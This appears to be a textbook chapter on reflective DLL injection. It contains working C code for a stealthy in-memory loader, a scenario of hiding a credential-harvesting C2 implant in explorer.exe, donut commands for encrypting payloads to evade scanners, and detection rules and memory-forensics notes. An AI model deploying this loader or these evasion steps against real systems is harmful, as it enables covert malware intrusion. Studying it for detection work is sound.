Chapter 194

Reflective DLL Injection

Reflective DLL injection (Stephen Fewer, 2008) loads a PE image entirely from memory — without writing to disk, without calling LoadLibrary, and without creating a module entry visible in the PEB module list or GetModuleHandle. The DLL contains its own bootstrapping loader that manually performs every step the Windows loader normally does: image mapping, relocation, import resolution, TLS callbacks, entry point call. Understanding this loader at the PE-structure level is fundamental to both writing in-memory payloads and building memory-scanner signatures that catch them.

Scenario

You have a Cobalt Strike beacon Beacon Object File (BOF) executor in memory. You want to load a full feature DLL (containing C2 client, credential harvester, lateral movement code) into explorer.exe without touching disk. The DLL must be callable after loading and must not appear in the target process's module list (lm in WinDbg, pslist modules in volatility).

Reflective DLL Concept

NORMAL LoadLibrary vs REFLECTIVE LOAD ═══════════════════════════════════════════════════════════════════════ LoadLibrary("evil.dll"): kernel32 → opens file → maps sections → fixes relocations → resolves imports → calls DllMain → adds to PEB LDR list ┌──────────────────────────────────────────────────────────────┐ │ VISIBLE in module list, on disk, file handle open │ └──────────────────────────────────────────────────────────────┘ Reflective load from memory buffer: shellcode entry → ReflectiveLoader() inside the DLL itself 1. Find own image base (locate MZ/PE header from current IP) 2. Allocate VirtualAlloc(SizeOfImage) for mapped image 3. Copy PE headers + sections to new allocation 4. Apply base relocations (BASERELOC directory) 5. Resolve imports (walk IAT, call GetProcAddress manually) 6. Call TLS callbacks (TLSCALLBACK directory) 7. Call DllMain(DLL_PROCESS_ATTACH) 8. Return exported function address to caller ┌──────────────────────────────────────────────────────────────┐ │ NOT on disk. NOT in PEB LDR list. NOT visible via pslist/lm │ └──────────────────────────────────────────────────────────────┘ ═══════════════════════════════════════════════════════════════════════

Manual PE Parsing

// PE structure navigation — used by reflective loader to parse its own image.
// These are the same structures the Windows loader uses.

#include <windows.h>

PIMAGE_NT_HEADERS GetNtHeaders(PVOID base) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
    return nt;
}

// Locate a specific section by name
PIMAGE_SECTION_HEADER FindSection(PIMAGE_NT_HEADERS nt, const char* name) {
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (strncmp((char*)sec->Name, name, 8) == 0)
            return sec;
    }
    return NULL;
}

// Walk the Export Directory to find a function by name
FARPROC GetExportByName(PVOID base, const char* funcName) {
    PIMAGE_NT_HEADERS nt = GetNtHeaders(base);
    DWORD exportRva = nt->OptionalHeader
        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exportRva) return NULL;

    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)((BYTE*)base + exportRva);
    DWORD* names    = (DWORD*)((BYTE*)base + exp->AddressOfNames);
    WORD*  ordinals = (WORD*)((BYTE*)base + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (strcmp((char*)((BYTE*)base + names[i]), funcName) == 0)
            return (FARPROC)((BYTE*)base + funcs[ordinals[i]]);
    }
    return NULL;
}

Reflective Loader Implementation

// ReflectiveLoader: exported from the DLL; called by the injector.
// Must be position-independent: cannot reference any global data by absolute address.
// All strings accessed via stack-local buffers; API addresses resolved manually
// from PEB to avoid importing any functions at compile time.

PVOID ReflectiveLoader() {
    // Step 1: Locate own image base by scanning backward from current IP
    BYTE* ip = (BYTE*)&ReflectiveLoader;
    BYTE* base = ip;
    while (*((WORD*)base) != IMAGE_DOS_SIGNATURE) base -= 0x1000;

    // Step 2: Resolve GetProcAddress and LoadLibraryA from PEB
    // (PEB → Ldr → InLoadOrderModuleList → walk until kernel32.dll found)
    PPEB peb = (PPEB)__readgsqword(0x60);
    PLIST_ENTRY list = &peb->Ldr->InLoadOrderModuleList;
    PVOID k32base = NULL;
    for (PLIST_ENTRY e = list->Flink; e != list; e = e->Flink) {
        PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(e,
            LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        // Compare mod->BaseDllName to L"kernel32.dll" (case-insensitive)
        if (IKernel32(mod->BaseDllName.Buffer)) {
            k32base = mod->DllBase;
            break;
        }
    }

    pGetProcAddress fnGPA = (pGetProcAddress)GetExportByName(k32base, "GetProcAddress");
    pLoadLibraryA  fnLL  = (pLoadLibraryA)GetExportByName(k32base, "LoadLibraryA");
    pVirtualAlloc  fnVA  = (pVirtualAlloc)GetExportByName(k32base, "VirtualAlloc");

    // Step 3: Map image into new allocation
    PIMAGE_NT_HEADERS nt = GetNtHeaders(base);
    PVOID mapped = fnVA(NULL, nt->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy headers
    memcpy(mapped, base, nt->OptionalHeader.SizeOfHeaders);

    // Copy sections
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
        memcpy((BYTE*)mapped + sec->VirtualAddress,
               (BYTE*)base + sec->PointerToRawData, sec->SizeOfRawData);

    // Step 4: Apply relocations
    DWORD_PTR delta = (DWORD_PTR)mapped - nt->OptionalHeader.ImageBase;
    PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(
        (BYTE*)mapped +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    while (reloc->VirtualAddress) {
        WORD* entries = (WORD*)(reloc + 1);
        DWORD count = (reloc->SizeOfBlock - sizeof(*reloc)) / 2;
        for (DWORD j = 0; j < count; j++) {
            if ((entries[j] >> 12) == IMAGE_REL_BASED_DIR64)
                *(DWORD64*)((BYTE*)mapped + reloc->VirtualAddress
                    + (entries[j] & 0xFFF)) += delta;
        }
        reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
    }

    // Step 5: Resolve imports
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(
        (BYTE*)mapped +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    for (; imp->Name; imp++) {
        HMODULE lib = fnLL((LPCSTR)((BYTE*)mapped + imp->Name));
        PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(
            (BYTE*)mapped + imp->FirstThunk);
        while (thunk->u1.AddressOfData) {
            PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)(
                (BYTE*)mapped + thunk->u1.AddressOfData);
            thunk->u1.Function = (ULONG_PTR)fnGPA(lib, ibn->Name);
            thunk++;
        }
    }

    // Step 6: Call DllMain(DLL_PROCESS_ATTACH)
    typedef BOOL(WINAPI* pDllMain)(HINSTANCE, DWORD, PVOID);
    pDllMain dllMain = (pDllMain)((BYTE*)mapped
        + nt->OptionalHeader.AddressOfEntryPoint);
    dllMain((HINSTANCE)mapped, DLL_PROCESS_ATTACH, NULL);

    return mapped;
}

PE-to-Shellcode Conversion (donut)

// Tools like donut (TheWover) convert a PE/DLL to position-independent shellcode.
// The output shellcode contains an embedded loader + the original PE.
// Execution flow:
//   1. shellcode loader parses embedded PE image
//   2. Performs reflective load steps (alloc, copy, reloc, imports, DllMain/EP)
//   3. Calls the PE's entry point or a specified export
//
// Command-line usage (donut):
//   donut -f implant.exe -o shellcode.bin -e 3   # encrypt with XOR
//   donut -f agent.dll -e 3 -x "Run" -o sc.bin   # call specific export "Run"
//
// Advantages over raw reflective DLL:
//   - Works for EXEs, not just DLLs
//   - Output is raw shellcode (can be injected by any injector)
//   - Encrypted payload (avoids static scanner triggers)
//   - Runs managed .NET assemblies in-memory via CLR hosting (seatbelt, SharpHound, etc)

Detection Engineering

title: Executable Memory Not Backed by File on Disk
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
  condition: selection  # correlate with memory scan in EDR
comment: This rule fires EDR-side (Defender/CS): PAGE_EXECUTE + no mapped file = unbacked shellcode
level: high
tags: [attack.defense_evasion, T1055.001]

title: Module Not in PEB Loader List (Reflective Load)
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 1117
    ThreatName|contains: 'ReflectiveDLL'
  condition: selection
level: critical

-- MDE KQL: process with executable memory region not backed by any module
DeviceEvents
| where ActionType == "ProcessInjection"
    or ActionType == "ShellcodeExecution"
| project Timestamp, DeviceName, InitiatingProcessFileName,
    FileName, AdditionalFields

-- Sysmon Event 17/18: Named pipe creation (post-injection CS beacon comms)
DeviceEvents
| where ActionType == "NamedPipeServerCreated"
| where AdditionalFields has_any ("MSSE-", "postex_", "\msagent_")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

-- Memory scan: look for PE headers (MZ + PE) in non-module address space
-- Volatility command: vol.py -f mem.raw windows.malfind (finds MZ in VirtualAlloc'd RWX memory)
-- Defender memory scanning: DeviceEvents ActionType == "MalwareDetectionScan"

Q&A

How does Volatility's malfind plugin detect reflectively loaded DLLs, and how does module stomping (ch193) defeat it?

Volatility's malfind works by walking every process's Virtual Address Descriptor (VAD) tree — the kernel data structure that records all memory regions allocated by a process. For each region, it checks two conditions: (1) the memory is executable (PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, or PAGE_EXECUTE_WRITECOPY), and (2) the region is not backed by a mapped file (i.e., MMVAD.FileObject == NULL). When both conditions are true, Volatility reads the first bytes of the region and checks for a PE header signature (MZ → 0x4D 0x5A at offset 0, PE → 0x50 0x45 at e_lfanew). If it finds an MZ/PE header in an unbacked executable region, it flags it as potentially injected code and dumps the region for analysis. This catches classic VirtualAllocEx injection and reflective DLL loads because both allocate new anonymous memory (not backed by a file) with execute permission.

Module stomping defeats malfind because the memory region IS backed by a mapped file — specifically, the legitimate DLL that was loaded by the OS loader. The VAD entry for that DLL's .text section points to the DLL file on disk as its backing object. Volatility sees: executable region, backed by file (ntdll.dll or whatever the stomped DLL is) → normal, skip. The PE header check never fires because the stomped region starts at an offset inside the DLL (e.g., imagebase + 0x1000), not at the DLL's own header. The shellcode overwrites the function stubs, not the MZ header at offset 0.

To catch module stomping, a more sophisticated approach compares the in-memory bytes of each loaded DLL against the file's known-good bytes on disk or against a hash stored in a known-good database. Discrepancies between in-memory and on-disk DLL content flag stomped modules. This is computationally expensive at scale but is what tools like Get-InjectedThread and advanced EDR memory integrity checks do.